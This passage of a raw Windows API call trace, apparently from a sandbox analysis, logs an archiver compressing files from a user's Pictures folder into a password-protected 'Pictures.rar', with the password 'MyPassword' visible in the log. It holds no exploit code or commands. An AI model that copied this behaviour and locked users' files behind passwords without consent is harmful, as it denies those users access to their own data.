wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.023] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.023] ResetEvent (hEvent=0x344) returned 1 [0065.023] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.186] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.186] ResetEvent (hEvent=0x344) returned 1 [0065.186] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.188] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.188] ResetEvent (hEvent=0x344) returned 1 [0065.188] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.190] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.191] GetTickCount () returned 0x26344 [0065.191] GetLastError () returned 0x0 [0065.191] SetLastError (dwErrCode=0x0) [0065.191] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.191] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.191] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.191] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.192] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15652073934) returned 1 [0065.192] GetTickCount () returned 0x26344 [0065.192] GetTickCount () returned 0x26344 [0065.192] GetTickCount () returned 0x26344 [0065.192] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd068 | out: ppv=0xf00f8dd068*=0x28b0a22f9c0) returned 0x0 [0065.192] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f9c0, hwnd=0x102be, tbpFlags=2) returned 0x0 [0065.194] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f9c0, hwnd=0x102be, ullCompleted=0xf479e, ullTotal=0x2141be) returned 0x0 [0065.194] TaskbarList:IUnknown:Release (This=0x28b0a22f9c0) returned 0x0 [0065.194] GetLastError () returned 0x36b7 [0065.194] SetLastError (dwErrCode=0x36b7) [0065.194] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0065.194] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0065.194] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 33%") returned 5 [0065.194] SetWindowTextW (hWnd=0x102de, lpString=" 45%") returned 1 [0065.195] GetLastError () returned 0x0 [0065.195] SetLastError (dwErrCode=0x0) [0065.195] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0065.195] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0065.195] SetWindowTextW (hWnd=0x102da, lpString=" 91%") returned 1 [0065.195] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x2d, lParam=0x0) returned 0x21 [0065.196] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.200] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.203] GetFocus () returned 0x102e2 [0065.203] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.203] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.203] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.203] GetFocus () returned 0x102e2 [0065.203] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.204] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.204] ResetEvent (hEvent=0x33c) returned 1 [0065.204] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.205] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.205] ResetEvent (hEvent=0x33c) returned 1 [0065.205] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.206] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.206] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.206] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xe1645 [0065.206] SetFilePointer (in: hFile=0x32c, lDistanceToMove=94, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xe16a3 [0065.206] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.206] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.206] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.206] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.206] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x14100, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x14100, lpOverlapped=0x0) returned 1 [0065.207] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0065.207] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=923205, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xe1645 [0065.207] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xe1645 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc30 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f9c0, Size=0x48) returned 0x28b084f9430 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fdb0 [0065.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fdb0, Size=0x48) returned 0x28b084f9480 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd80 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fd80 | out: hHeap=0x28b08430000) returned 1 [0065.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc30, Size=0x48) returned 0x28b084f9110 [0065.208] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9110, Size=0x7a) returned 0x28b084ed0a0 [0065.208] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed0a3*, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed0a3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5e, lpOverlapped=0x0) returned 1 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0065.208] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5e) returned 0x28b08463360 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0065.208] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0065.208] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xf57a3 [0065.208] CloseHandle (hObject=0x350) returned 1 [0065.208] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.208] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.208] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.209] FindFirstFileW (in: lpFileName="hh1Bz.png", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee010 [0065.210] FindClose (in: hFindFile=0x28b0c0ee010 | out: hFindFile=0x28b0c0ee010) returned 1 [0065.210] CreateFileW (lpFileName="hh1Bz.png" (normalized: "c:\\users\\fd1hvy\\pictures\\hh1bz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0065.210] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0065.210] GetTickCount () returned 0x26354 [0065.210] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0065.210] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0065.210] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0065.210] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0065.210] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="H7Jzn2.png") returned 10 [0065.210] SetWindowTextW (hWnd=0x102c6, lpString="hh1Bz.png") returned 1 [0065.211] GetTickCount () returned 0x26354 [0065.211] UpdateWindow (hWnd=0x102be) returned 1 [0065.211] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0065.211] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0065.211] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0065.211] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0065.211] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x2b6)) [0065.211] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0065.211] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15653992504) returned 1 [0065.211] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x17b29, lpOverlapped=0x0) returned 1 [0065.212] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b723b69, nNumberOfBytesToRead=0xe84d7, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b723b69*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0065.212] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0065.212] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f7e0 [0065.212] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f7e0, Size=0x48) returned 0x28b084f9020 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0065.212] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9480 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9020 | out: hHeap=0x28b08430000) returned 1 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0065.212] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fb70 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fb70 | out: hHeap=0x28b08430000) returned 1 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fab0 | out: hHeap=0x28b08430000) returned 1 [0065.212] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9bb0 [0065.212] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9bb0, Size=0x7a) returned 0x28b084ed0a0 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9480 | out: hHeap=0x28b08430000) returned 1 [0065.212] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0065.213] GetTickCount () returned 0x26354 [0065.213] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15654119859) returned 1 [0065.213] GetTickCount () returned 0x26354 [0065.213] GetLastError () returned 0x0 [0065.213] SetLastError (dwErrCode=0x0) [0065.213] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0065.213] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="00:00:01") returned 8 [0065.213] SetWindowTextW (hWnd=0x102d0, lpString="00:00:02") returned 1 [0065.213] GetTickCount () returned 0x26354 [0065.213] GetDlgItem (hDlg=0x102be, nIDDlgItem=162) returned 0x102d2 [0065.213] ShowWindow (hWnd=0x102d2, nCmdShow=9) returned 0 [0065.215] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0065.215] ShowWindow (hWnd=0x102d4, nCmdShow=9) returned 0 [0065.216] GetLastError () returned 0x0 [0065.217] SetLastError (dwErrCode=0x0) [0065.217] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0065.217] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc0c0, nMaxCount=2560 | out: lpString="") returned 0 [0065.217] SetWindowTextW (hWnd=0x102d4, lpString="00:00:02") returned 1 [0065.217] GetTickCount () returned 0x26363 [0065.217] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.217] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.217] GetFocus () returned 0x102e2 [0065.217] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0065.217] GetPropW (hWnd=0x102be, lpString="Done") returned 0x0 [0065.217] BeginPaint (in: hWnd=0x102be, lpPaint=0xf00f8db7b0 | out: lpPaint=0xf00f8db7b0) returned 0x24010806 [0065.218] GetLastError () returned 0x2 [0065.218] SetLastError (dwErrCode=0x2) [0065.218] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0065.218] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0065.218] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.218] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.218] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dae78 | out: ppv=0xf00f8dae78*=0x28b0a22fc60) returned 0x0 [0065.218] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22fc60, hwnd=0x102be, tbpFlags=2) returned 0x0 [0065.219] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22fc60, hwnd=0x102be, ullCompleted=0xf479e, ullTotal=0x2141be) returned 0x0 [0065.219] TaskbarList:IUnknown:Release (This=0x28b0a22fc60) returned 0x0 [0065.219] GetLastError () returned 0x36b7 [0065.219] SetLastError (dwErrCode=0x36b7) [0065.219] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0065.219] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0065.219] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 45%") returned 5 [0065.219] GetLastError () returned 0x36b7 [0065.219] SetLastError (dwErrCode=0x36b7) [0065.219] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0065.220] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 91%") returned 5 [0065.220] SetWindowTextW (hWnd=0x102da, lpString=" 100%") returned 1 [0065.220] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x2d, lParam=0x0) returned 0x2d [0065.221] EndPaint (hWnd=0x102be, lpPaint=0xf00f8db7b0) returned 1 [0065.221] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0065.221] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0065.221] GetFocus () returned 0x102e2 [0065.221] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0065.222] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.222] ResetEvent (hEvent=0x344) returned 1 [0065.222] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.224] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.224] ResetEvent (hEvent=0x344) returned 1 [0065.224] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.225] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.225] ResetEvent (hEvent=0x344) returned 1 [0065.226] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.229] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0065.229] GetTickCount () returned 0x26363 [0065.229] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15655737210) returned 1 [0065.229] GetTickCount () returned 0x26363 [0065.229] GetTickCount () returned 0x26363 [0065.229] GetTickCount () returned 0x26363 [0065.229] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.229] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.229] GetFocus () returned 0x102e2 [0065.229] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.231] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0065.231] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0065.231] GetFocus () returned 0x102e2 [0065.231] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0065.232] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.232] ResetEvent (hEvent=0x33c) returned 1 [0065.232] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.233] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.233] ResetEvent (hEvent=0x33c) returned 1 [0065.233] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.234] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0065.234] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0065.234] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0065.234] GetFocus () returned 0x102e2 [0065.234] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0065.234] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.234] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0xf57a3 [0065.234] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0xf5800 [0065.234] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0065.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0065.234] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0065.234] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0065.234] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0065.235] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0x17be0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0x17be0, lpOverlapped=0x0) returned 1 [0065.240] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0065.240] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0065.240] GetFocus () returned 0x102e2 [0065.240] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0065.241] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0065.241] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1005475, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xf57a3 [0065.241] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0xf57a3 [0065.241] RtlAllocateHeap 